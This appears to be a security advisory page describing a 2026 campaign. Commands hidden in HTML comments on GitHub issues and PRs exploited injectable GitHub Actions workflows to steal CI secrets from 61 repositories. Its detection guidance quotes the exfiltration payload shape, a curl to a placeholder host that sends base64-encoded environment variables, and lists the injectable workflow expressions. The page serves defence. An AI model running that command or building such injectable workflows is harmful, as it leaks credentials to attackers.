Live › campaign › CMP-202610-hidden-commands-in-github-issues-prs-and-comments-hit-61-pub

high⚡ Early warning · no CVE yetInfrastructure

Hidden commands in GitHub issues, PRs and comments hit 61 public repos (Trivy, MLflow, Brave, LangExtract) through injectable GitHub Actions workflows to steal CI secrets

Radware found 83 issues, pull requests and comments across 61 public GitHub repos (incl. agno, ToolJet, google/langextract, aquasecurity/trivy, CopilotKit, podman, qwen-code, mlflow, discord.js, cilium, brave-browser, dotnet/maui, homebrew-cask, github/docs, apache/doris, PX4) carrying shell commands hidden in HTML comments. Workflows triggered by issue/PR/comment events that paste that text into a shell step run the command, which collects environment variables and sends them to an attacker server. 77 items were posted in 43 minutes on 2026-09-01 from 74 accounts, many likely compromised; two run logs show the command executed. Any repo with GitHub Actions workflows that put issue, PR or comment text into run: steps is at risk; anyone with a GitHub account can try it. Whether attackers got write access or changed downstream code is unknown. Reported by The Register on 2026-10-29.

Summary written from the sources below. Check the originals before acting.

Known so far

3/6

high

no CVSS yet; severity from the sources

known so far3 of 6

missing: versions, primary source, exploitation

First public: Oct 29, 2026 UTC
Last modified: Oct 29, 2026
Status: open
Known exploitation: None reported
Public exploit: None on GitHub
EPSS: not scored

First seen by InfraStack 2026-10-29 17:08 UTC. All times on this page are UTC.

Who is affected

1 product

Product	Ecosystem	Affected	Fixed in
GitHub Actions	–	–	–

Who cares: campaign, early-warning
Not affected if: –

How to check

Search workflows triggered by issues, issue_comment, pull_request_target or pull_request_review_comment for ${{ github.event.issue.body }}, .issue.title, .comment.body, .pull_request.title/.body or .head_ref used directly inside run: steps
Look for issues, PRs or comments posted on 2026-09-01 (main wave 11:26:51-12:10:00 UTC, a second wave of six later that day) with hidden  HTML comments holding a payload shaped like $(curl -s http://<host>:8443/c/<unique-id> -d $(env|base64|tr -d \n))
In workflow run logs from those events, look for curl to an outside host on port 8443 at a /c/ path carrying base64-encoded env output
Radware redacted the attacker server, and the account names are not public

The fix

Know the next one before it finds you.

Add to Slack

Hidden commands in GitHub issues, PRs and comments hit 61 public repos (Trivy, MLflow, Brave, LangExtract) through injectable GitHub Actions workflows to steal CI secrets

Summary written from the sources below. Check the originals before acting.

Product

Ecosystem

Affected

Fixed in

GitHub Actions

–

Hidden commands in GitHub issues, PRs and comments hit 61 public repos (Trivy, MLflow, Brave, LangExtract) through injectable GitHub Actions workflows to steal CI secrets

Who is affected

How to check

The fix

Know the next one before it finds you.

Hidden commands in GitHub issues, PRs and comments hit 61 public repos (Trivy, MLflow, Brave, LangExtract) through injectable GitHub Actions workflows to steal CI secrets

Who is affected

How to check

The fix

Know the next one before it finds you.

Who had it, and when

What people are saying

Sources